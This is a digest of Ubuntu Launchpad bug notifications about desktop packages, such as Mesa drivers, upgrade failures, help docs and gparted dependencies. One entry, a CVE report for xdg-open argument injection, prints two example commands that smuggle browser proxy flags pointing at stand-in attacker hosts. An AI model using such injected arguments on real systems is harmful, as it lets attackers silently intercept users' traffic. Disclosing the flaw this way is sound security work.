  dmi.board.name: B85M-D3V-A
  dmi.board.vendor: Gigabyte Technology Co., Ltd.
  dmi.board.version: x.x
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 3
  dmi.chassis.vendor: Gigabyte Technology Co., Ltd.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvnAmericanMegatrendsInc.:bvrF2:bd02/12/2015:svnGigabyteTechnologyCo.,Ltd.:pnB85M-D3V-A:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnB85M-D3V-A:rvrx.x:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.:
  dmi.product.family: To be filled by O.E.M.
  dmi.product.name: B85M-D3V-A
  dmi.product.version: To be filled by O.E.M.
  dmi.sys.vendor: Gigabyte Technology Co., Ltd.
  version.compiz: compiz N/A
  version.libdrm2: libdrm2 2.4.90-1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.3.3-0ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.3.3-0ubuntu1
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1752938/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1753663] Re: [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe

2018-05-20 Thread Emiliano

I have the same as @shankao.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1753663

Title:
  [Mesa 18.0 + nvidia-390] No 3D acceleration, using llvmpipe

Status in libglvnd package in Ubuntu:
  Fix Released
Status in mesa package in Ubuntu:
  Fix Released
Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Invalid

Bug description:
  As requested in
  https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I
  fill a new bug.

  Even after getting the fixed packages in
  https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1751414, I get
  no 3D acceleration. Seems to be some mixup with nvidia drivers.

  $glxinfo
  ...
  Extended renderer info (GLX_MESA_query_renderer):
  Vendor: VMware, Inc. (0x)
  Device: llvmpipe (LLVM 5.0, 256 bits) (0x)
  Version: 18.0.0
  Accelerated: no
  Video memory: 15963MB
  Unified memory: no
  Preferred profile: core (0x1)
  Max core profile version: 3.3
  Max compat profile version: 3.0
  Max GLES1 profile version: 1.1
  Max GLES[23] profile version: 3.0
  ...

  $ vdpauinfo
  display: :1 screen: 0
  Failed to open VDPAU backend libvdpau_nvidia.so: cannot open shared object 
file: No such file or directory

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: xorg 1:7.7+19ubuntu5
  ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3
  Uname: Linux 4.15.0-10-generic x86_64
  .tmp.unity_support_test.1:

  ApportVersion: 2.20.8-0ubuntu10
  Architecture: amd64
  CompizPlugins: 
[core,composite,opengl,compiztoolbox,decor,imgpng,snap,mousepoll,commands,imgjpeg,workarounds,wall,imgsvg,resize,place,neg,grid,scale,regex,text,shelf,expo,move,gnomecompat,annotate,session,notification,resizeinfo,ezoom,staticswitcher,bench]
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: MATE
  Date: Tue Mar  6 08:00:28 2018
  DistUpgraded: 2018-03-03 08:30:16,182 DEBUG /openCache(), new cache size 86475
  DistroCodename: bionic
  DistroVariant: ubuntu
  DkmsStatus:
   fwts-efi-runtime-dkms, 18.02.00, 4.15.0-10-generic, x86_64: installed
   ndiswrapper, 1.60, 4.15.0-10-generic, x86_64: installed
   r8168, 8.045.08, 4.15.0-10-generic, x86_64: installed
   tp_smapi, 0.42, 4.15.0-10-generic, x86_64: installed
   virtualbox, 5.2.8, 4.15.0-10-generic, x86_64: installed
  ExtraDebuggingInterest: Yes
  GraphicsCard:
   Intel Corporation HD Graphics 5500 [8086:1616] (rev 08) (prog-if 00 [VGA 
controller])
     Subsystem: Intel Corporation HD Graphics 5500 [8086:1616]
  MachineType: www.51nb.com X62
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.15.0-10-generic 
root=UUID=df422beb-6d13-4575-9b30-ad00e25a7d35 ro noquiet nosplash
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: Upgraded to bionic on 2018-03-03 (2 days ago)
  dmi.bios.date: 12/10/2016
  dmi.bios.vendor: 51NB
  dmi.bios.version: 5.011
  dmi.board.asset.tag: X62
  dmi.board.name: CRESCENTBAY
  dmi.board.vendor: INTEL Corporation
  dmi.board.version: X62.
  dmi.chassis.asset.tag: To Be Filled By O.E.M.
  dmi.chassis.type: 10
  dmi.chassis.vendor: To Be Filled By O.E.M.
  dmi.chassis.version: To Be Filled By O.E.M.
  dmi.modalias: 
dmi:bvn51NB:bvr5.011:bd12/10/2016:svnwww.51nb.com:pnX62:pvrV10:rvnINTELCorporation:rnCRESCENTBAY:rvrX62.:cvnToBeFilledByO.E.M.:ct10:cvrToBeFilledByO.E.M.:
  dmi.product.family: X62
  dmi.product.name: X62
  dmi.product.version: V10
  dmi.sys.vendor: www.51nb.com
  version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1
  version.libdrm2: libdrm2 2.4.90-1
  version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.0~rc4-1ubuntu3
  version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.0~rc4-1ubuntu3
  version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu2
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:7.10.0-1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20171229-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libglvnd/+bug/1753663/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1769954] Re: package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade: dependency problems - leaving triggers unprocessed

2018-05-20 Thread Tessa

Just ran into this upgrading from 17.10 to 18.04.

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to desktop-file-utils in Ubuntu.
https://bugs.launchpad.net/bugs/1769954

Title:
  package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade:
  dependency problems - leaving triggers unprocessed

Status in desktop-file-utils package in Ubuntu:
  Confirmed

Bug description:
  run `sudo do-release-upgrade` on a relativity new 16.04 EC2 instance.

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: desktop-file-utils 0.23-1ubuntu3
  ProcVersionSignature: Ubuntu 4.13.0-36.40-generic 4.13.13
  Uname: Linux 4.13.0-36-generic x86_64
  NonfreeKernelModules: zfs zunicode zavl zcommon znvpair
  ApportVersion: 2.20.7-0ubuntu3.8
  Architecture: amd64
  Date: Tue May  8 16:59:12 2018
  Ec2AMI: ami-70873908
  Ec2AMIManifest: (unknown)
  Ec2AvailabilityZone: us-west-2a
  Ec2InstanceType: t2.large
  Ec2Kernel: unavailable
  Ec2Ramdisk: unavailable
  ErrorMessage: dependency problems - leaving triggers unprocessed
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
  PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 
2.7.15~rc1-1
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2
   apt  1.6.1
  SourcePackage: desktop-file-utils
  Title: package desktop-file-utils 0.23-1ubuntu3 failed to install/upgrade: 
dependency problems - leaving triggers unprocessed
  UpgradeStatus: Upgraded to bionic on 2018-05-08 (0 days ago)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/desktop-file-utils/+bug/1769954/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772104] Re: clock-timezone help should note that Automatic Time Zone requires Location Services

2018-05-20 Thread Gunnar Hjalmarsson

Committed upstream:

https://gitlab.gnome.org/GNOME/gnome-user-docs/commit/fb9801eb

** Changed in: gnome-user-docs (Ubuntu)
   Status: In Progress => Fix Committed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-user-docs in Ubuntu.
https://bugs.launchpad.net/bugs/1772104

Title:
  clock-timezone help should note that Automatic Time Zone requires
  Location Services

Status in gnome-user-docs package in Ubuntu:
  Fix Committed

Bug description:
  The Automatic time zone feature doesn't work when Location Services is
  disabled in the Privacy settings of Gnome.  See bug reports at

  https://bugs.launchpad.net/ubuntu/+source/gnome-control-center/+bug/1741928
  and https://bugzilla.gnome.org/show_bug.cgi?id=788714

  This should be noted in the help documentation at
  https://help.ubuntu.com/stable/ubuntu-help/clock-timezone.html

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-user-docs/+bug/1772104/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1770748] Re: ilmbase symbols files were dropped by the forced merge

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: ilmbase (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to ilmbase in Ubuntu.
https://bugs.launchpad.net/bugs/1770748

Title:
  ilmbase symbols files were dropped by the forced merge

Status in ilmbase package in Ubuntu:
  Confirmed
Status in ilmbase package in Debian:
  Confirmed

Bug description:
  the last ilmbase forced sync dropped the ilmbase symbols files "just
  for convenience", because maintenance apparently costs too much
  effort.  So we are dropping the patches which we required for the
  package to be in main.

  I don't think this is a sensible move, and the symbol files should be
  re-added before the package migrates to the release pocket.

  I also think that the behavior of "delegating" these changes to
  another maintenance team is inappropriate.

  Setting the block-proposed flag for now, until the symbol filed are
  re-added again.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772295] Re: CVE-2017-18266: argument injection in xdg-open

2018-05-20 Thread Bug Watch Updater

** Changed in: xdg-utils
   Status: Unknown => Fix Released

** Changed in: xdg-utils
   Importance: Unknown => High

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xdg-utils in Ubuntu.
https://bugs.launchpad.net/bugs/1772295

Title:
  CVE-2017-18266: argument injection in xdg-open

Status in Xdg-utils:
  Fix Released
Status in xdg-utils package in Ubuntu:
  New

Bug description:
  An attacker can silently set their proxy in browser settings to
  capture user's traffic, using a malformed URL in xdg-open.

  The following command tries to open Yandex main page though third-
  party proxy server.

  env -i BROWSER="links %s" xdg-open 'http://www.yandex.com/ -http-
  proxy evil-site.example.org:8080'

  Another sample of an exploit with Chromium browser.

  env -i BROWSER="chromium %s" xdg-open "http://www.example.com/
  --proxy-pac-url=http://dangerous.example.net/proxy.pac;

To manage notifications about this bug go to:
https://bugs.launchpad.net/xdg-utils/+bug/1772295/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1770748] Re: ilmbase symbols files were dropped by the forced merge

2018-05-20 Thread Rik Mills

Builds ok in my PPA with no symbols errors.

** Patch added: "restoresymbols.debdiff"
   
https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+attachment/5142071/+files/restoresymbols.debdiff

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to ilmbase in Ubuntu.
https://bugs.launchpad.net/bugs/1770748

Title:
  ilmbase symbols files were dropped by the forced merge

Status in ilmbase package in Ubuntu:
  New
Status in ilmbase package in Debian:
  Confirmed

Bug description:
  the last ilmbase forced sync dropped the ilmbase symbols files "just
  for convenience", because maintenance apparently costs too much
  effort.  So we are dropping the patches which we required for the
  package to be in main.

  I don't think this is a sensible move, and the symbol files should be
  re-added before the package migrates to the release pocket.

  I also think that the behavior of "delegating" these changes to
  another maintenance team is inappropriate.

  Setting the block-proposed flag for now, until the symbol filed are
  re-added again.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ilmbase/+bug/1770748/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1771026] Re: "Tile Windows" says to hold ALT to drag anywhere in a window

2018-05-20 Thread Gunnar Hjalmarsson

On 2018-05-14 01:00, Gunnar Hjalmarsson wrote:
> ... it would be great if you could submit an upstream issue too:

Never mind; the change has been made upstream.

https://gitlab.gnome.org/GNOME/gnome-user-docs/commit/9866fac9

** Changed in: gnome-user-docs (Ubuntu)
   Status: Confirmed => Fix Committed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-user-docs in Ubuntu.
https://bugs.launchpad.net/bugs/1771026

Title:
  "Tile Windows" says to hold ALT to drag anywhere in a window

Status in gnome-user-docs package in Ubuntu:
  Fix Committed

Bug description:
  The "Tile Windows" page incorrectly says to hold ALT to drag anywhere
  in a window.  The correct key to hold is SUPER.

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: ubuntu-docs 18.04.3
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 13 16:16:50 2018
  InstallationDate: Installed on 2018-04-28 (14 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  PackageArchitecture: all
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_US.UTF-8
   SHELL=/bin/bash
  SourcePackage: ubuntu-docs
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnome-user-docs/+bug/1771026/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1532508] Re: Screen contents revealed briefly on resume, before even unlocking

2018-05-20 Thread Thorsten

for me this bug is only happening in 18.04 when using the X session and
does not occur when using wayland

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to gnome-shell in Ubuntu.
https://bugs.launchpad.net/bugs/1532508

Title:
  Screen contents revealed briefly on resume, before even unlocking

Status in GNOME Shell:
  In Progress
Status in Ubuntu GNOME:
  Confirmed
Status in gdm3 package in Ubuntu:
  Confirmed
Status in gnome-shell package in Ubuntu:
  Confirmed
Status in unity package in Ubuntu:
  Fix Released
Status in unity source package in Xenial:
  Fix Released
Status in gnome-shell package in Debian:
  Confirmed
Status in gnome-shell package in Fedora:
  In Progress

Bug description:
  [Impact]

  When lock is enabled, the screen doesn't get blank/covered by
  lockscreen before suspending, thus on early resume the content might
  be shown.

  Video showing the bug: https://youtu.be/dDOgtK1MldI

  Reproduced on Ubuntu 2015.10, Ubuntu 2014.04

  [Test case]

  1. Work on highly secret files
  2. Close the lid of your laptop and go have a break
  3. Anyone who opens the lid of the laptop can see the secret files for a half 
second before the lock screen appears

  [Possible Regression]

  Content on screen isn't painted anymore and screen stays black.

To manage notifications about this bug go to:
https://bugs.launchpad.net/gnome-shell/+bug/1532508/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772237] Re: Language support quits immediately after starting

This bug was fixed in the package language-selector - 0.189

---
language-selector (0.189) cosmic; urgency=medium

  * LanguageSelector/ImConfig.py:
Prevent crash if LC_CTYPE has a value which Python does not
understand (LP: #1772237).
  * debian/control:
Drop obsolete X-Python3-Version field.

 -- Gunnar Hjalmarsson   Sun, 20 May 2018 21:56:00
+0200

** Changed in: language-selector (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to language-selector in Ubuntu.
https://bugs.launchpad.net/bugs/1772237

Title:
  Language support quits immediately after starting

Status in language-selector package in Ubuntu:
  Fix Released
Status in language-selector source package in Bionic:
  In Progress

Bug description:
  [Impact]

  When Ubuntu is installed with a locale name which Python does not
  understand, e.g. en_IL, Language Support crashes when you try to
  launch it. This is really a bug which should be fixed in the installer
  (bug #1646260). Awaiting the installer fix, this proposed upload
  prevents that Language Support crashes.

  [Test Case]

  1. Make sure that no ~/.xinputrc file is present.

  2. Start Language Support from terminal using this command:

 LANG=en_IL gnome-language-selector

  -> Find that you have reproduced the crash.

  3. Install language-selector-gnome and language-selector-common from
 bionic-proposed and repeat step 2.

  -> Language Support starts without crashing.

  [Regression Potential]

  None.

  [Original description]

  When I click on Language Support from the applications menu, it
  starts, shows a progress bar, and then immediately quits.

  I do not see the crash report window open (Apport), but something
  seems to crash. Here is what is appended to the syslog when the
  phenomenon happens:

  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: Traceback 
(most recent call last):
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/bin/gnome-language-selector", line 22, in on_activate
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: 
options=options)
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py", 
line 202, in __init__
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: 
self.check_input_methods()
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py", 
line 57, in wrapper
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: res = 
f(*args, **kwargs)
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3/dist-packages/LanguageSelector/gtk/GtkLanguageSelector.py", 
line 453, in check_input_methods
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: 
currentIM = self.ImConfig.getCurrentInputMethod()
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3/dist-packages/LanguageSelector/ImConfig.py", line 39, in 
getCurrentInputMethod
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: loc = 
locale.getlocale(locale.LC_CTYPE)[0]
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3.6/locale.py", line 581, in getlocale
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: 
return _parse_localename(localename)
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]:   File 
"/usr/lib/python3.6/locale.py", line 490, in _parse_localename
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: raise 
ValueError('unknown locale: %s' % localename)
  May 20 12:20:28 alex-laptop gnome-language-selector.desktop[14134]: 
ValueError: unknown locale: en_IL

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: language-selector-gnome 0.188
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  NonfreeKernelModules: nvidia_modeset nvidia
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May 20 12:15:21 2018
  InstallationDate: Installed on 2018-05-19 (0 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  PackageArchitecture: all
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_IL
   SHELL=/bin/bash
  SourcePackage: language-selector
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-selector/+bug/1772237/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to :

[Desktop-packages] [Bug 1772317] [NEW] Missing dependency libgtkmm for gparted

2018-05-20 Thread Eric Stith

Public bug reported:

I did a minimal install of Ubuntu 18.04.  Initially, although apt
claimed that gparted was already installed, the binary didn't seem to
exist.  I removed it and reinstalled it, but it seems to be missing
dependencies:


Running "sudo gparted":
/usr/sbin/gpartedbin: error while loading shared libraries: libgtkmm-2.4.so.1: 
cannot open shared object file: No such file or directory

Running "sudo apt-get install -f":
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

I had to remove libgtkmm-2.4-1v5, which also removed gparted, and then
reinstall gparted, which seems to have correctly installed the
libgtkmm-2.4-1v5 library.  I had to do something similar with
libatkmm-1.6-1v5, libpangomm-1.4-1v5, libglibmm-2.4-1v5.

Doing this seems to fix it:
sudo apt-get install --reinstall libcairomm-1.0-1v5 libglibmm-2.4-1v5 
libsigc++-2.0-0v5

** Affects: xorg (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1772317

Title:
  Missing dependency libgtkmm for gparted

Status in xorg package in Ubuntu:
  New

Bug description:
  I did a minimal install of Ubuntu 18.04.  Initially, although apt
  claimed that gparted was already installed, the binary didn't seem to
  exist.  I removed it and reinstalled it, but it seems to be missing
  dependencies:

  
  Running "sudo gparted":
  /usr/sbin/gpartedbin: error while loading shared libraries: 
libgtkmm-2.4.so.1: cannot open shared object file: No such file or directory

  Running "sudo apt-get install -f":
  0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

  I had to remove libgtkmm-2.4-1v5, which also removed gparted, and then
  reinstall gparted, which seems to have correctly installed the
  libgtkmm-2.4-1v5 library.  I had to do something similar with
  libatkmm-1.6-1v5, libpangomm-1.4-1v5, libglibmm-2.4-1v5.

  Doing this seems to fix it:
  sudo apt-get install --reinstall libcairomm-1.0-1v5 libglibmm-2.4-1v5 
libsigc++-2.0-0v5

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/xorg/+bug/1772317/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1772004] Re: package libsane-hpaio 3.17.10+repack0-5 [modified: usr/share/hplip/data/models/models.dat] failed to install/upgrade: trying to overwrite shared '/usr/share/hplip/

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: hplip (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to hplip in Ubuntu.
https://bugs.launchpad.net/bugs/1772004

Title:
  package libsane-hpaio 3.17.10+repack0-5 [modified:
  usr/share/hplip/data/models/models.dat] failed to install/upgrade:
  trying to overwrite shared '/usr/share/hplip/data/models/models.dat',
  which is different from other instances of package libsane-hpaio:i386

Status in hplip package in Ubuntu:
  Confirmed

Bug description:
  There was no contact to scanner and I don't know, wether installig was
  successfull.

  ProblemType: Package
  DistroRelease: Ubuntu 18.04
  Package: libsane-hpaio 3.17.10+repack0-5 [modified: 
usr/share/hplip/data/models/models.dat]
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Uname: Linux 4.15.0-20-generic x86_64
  NonfreeKernelModules: wl
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CupsErrorLog:
   E [18/May/2018:10:50:34 +0200] [cups-deviced] PID 2102 (gutenprint52+usb) 
stopped with status 1!
   E [18/May/2018:13:22:36 +0200] [cups-deviced] PID 1773 (gutenprint52+usb) 
stopped with status 1!
  Date: Fri May 18 13:27:04 2018
  DuplicateSignature:
   package:libsane-hpaio:3.17.10+repack0-5 [modified: 
usr/share/hplip/data/models/models.dat]
   Unpacking libperl5.26:i386 (5.26.1-6) ...
   dpkg: error processing archive 
/tmp/apt-dpkg-install-R8zaBp/30-libperl5.26_5.26.1-6_i386.deb (--unpack):
trying to overwrite shared 
'/usr/share/doc/libperl5.26/changelog.Debian.gz', which is different from other 
instances of package libperl5.26:i386
  ErrorMessage: trying to overwrite shared 
'/usr/share/hplip/data/models/models.dat', which is different from other 
instances of package libsane-hpaio:i386
  InstallationDate: Installed on 2018-05-13 (5 days ago)
  InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426)
  Lpstat: device for HP-Deskjet-1510-series: 
hp:/usb/Deskjet_1510_series?serial=CN3AD1HMBD05YR
  MachineType: HP HP Laptop 15-bs0xx
  Papersize: a4
  PpdFiles: HP-Deskjet-1510-series: HP Deskjet 1510 Series, hpcups 3.17.11
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-20-generic 
root=UUID=b8a33649-d2ca-4387-935e-f6ff3fb1007f ro quiet splash vt.handoff=1
  Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3
  PythonDetails: /root/Error: command ['which', 'python'] failed with exit code 
1:, Error: [Errno 2] Nincs ilyen fájl vagy könyvtár: "/root/Error: command 
['which', 'python'] failed with exit code 1:": "/root/Error: command ['which', 
'python'] failed with exit code 1:", unpackaged
  RelatedPackageVersions:
   dpkg 1.19.0.5ubuntu2
   apt  1.6.1
  SourcePackage: hplip
  Title: package libsane-hpaio 3.17.10+repack0-5 [modified: 
usr/share/hplip/data/models/models.dat] failed to install/upgrade: trying to 
overwrite shared '/usr/share/hplip/data/models/models.dat', which is different 
from other instances of package libsane-hpaio:i386
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 11/01/2017
  dmi.bios.vendor: Insyde
  dmi.bios.version: F.31
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: 832A
  dmi.board.vendor: HP
  dmi.board.version: 23.45
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: HP
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsyde:bvrF.31:bd11/01/2017:svnHP:pnHPLaptop15-bs0xx:pvrType1ProductConfigId:rvnHP:rn832A:rvr23.45:cvnHP:ct10:cvrChassisVersion:
  dmi.product.family: 103C_5335KV HP Notebook
  dmi.product.name: HP Laptop 15-bs0xx
  dmi.product.version: Type1ProductConfigId
  dmi.sys.vendor: HP
  mtime.conffile..etc.hp.hplip.conf: 2018-05-18T10:46:18.852174

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/hplip/+bug/1772004/+subscriptions

-- 
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help   : https://help.launchpad.net/ListHelp

[Desktop-packages] [Bug 1547077] Re: Suspend to ram causes some glyphs to draw consistently wrong or even appear blank in gtk/gdk/pango/cairo apps. xterm/xmessage unaffected.

** Description changed:

# Summary
* Some glyphs badly drawn at some moments.
* When happens, same glyph drawn on various windows shows same corruption.
* Problem comes and go.
-
- Cannot use nvidia proprietary driver as a workaround (does not work at
- all).

# Context
Laptop, using "intel" (or "nouveau" ?) driver.
Expected: all glyphs rendered correctly.
Observed: some glyphs not rendered correctly

* reproducible: sometimes, eventually. Problem comes and go, severity
varies from one glyph (see
2016y02m17d_18h08m27s_0100Z_x_bug_glyph_firefox_gnome_org.png ) to all
text on screen fully unreadable (see
2016y02m10d_18h42m18s_0100Z_wow_screen_flickers_and_most_glyphs_wrong_01.png
)

* *some* glyphs are affected. For example, letter 'a' of a certain size
will be replaced by colored garbage at many places where it appears (see
2016y02m18d_16h05m35s_0100Z_same_corruption_on_different_windows.png ),
but other 'a' with different size, italic, bold, etc will be unaffected.

* in some applications (e.g. xfce whisker menu), some glyphs are
rendered correctly or not depending on the direction of mouse hovering.
See video 2016y02m16d_21h41m14s_0100Z_whisker_menu_missing_glyphs.mp4 .

* in menu of gtk application, some glyphs are "fixed" by opening the
menu, but not all. For example, in xfce4-terminal, letter A of
"Affichage" and its menu content as well as "Aide" is affected. Opening
"Affichage" menu does not fix anything. Opening "Aide" menu fixes the
"A" of "Aide". Changing window size reactivates the bug on "A" or
"Aide". See video 2016y02m18d_16h14m25s_0100Z_glyph-redrawn-bug.mp4 .

* text under icons on desktop is affected, but shadows are not. See

